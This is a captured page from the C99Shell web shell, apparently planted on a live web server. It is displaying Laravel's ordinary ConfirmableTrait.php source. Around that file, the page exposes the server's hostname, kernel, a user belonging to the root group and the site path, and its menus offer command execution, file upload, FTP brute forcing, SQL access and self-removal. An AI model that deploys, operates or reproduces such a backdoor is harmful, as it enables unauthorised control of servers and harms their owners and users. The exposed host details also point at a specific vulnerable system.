!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Console/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfirmableTrait.php (1.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console;

use function 
Laravel\Prompts\confirm;

trait 
ConfirmableTrait
{
    
/**
     * Confirm before proceeding with the action.
     *
     * This method only asks for confirmation in production.
     *
     * @param  string  $warning
     * @param  \Closure|bool|null  $callback
     * @return bool
     */
    
public function confirmToProceed($warning 'Application In Production'$callback null)
    {
        
$callback is_null($callback) ? $this->getDefaultConfirmCallback() : $callback;

        
$shouldConfirm value($callback);

        if (
$shouldConfirm) {
            if (
$this->hasOption('force') && $this->option('force')) {
                return 
true;
            }

            
$this->components->alert($warning);

            
$confirmed confirm('Are you sure you want to run this command?', default: false);

            if (! 
$confirmed) {
                
$this->components->warn('Command cancelled.');

                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * Get the default confirmation callback.
     *
     * @return \Closure
     */
    
protected function getDefaultConfirmCallback()
    {
        return function () {
            return 
$this->getLaravel()->environment() === 'production';
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--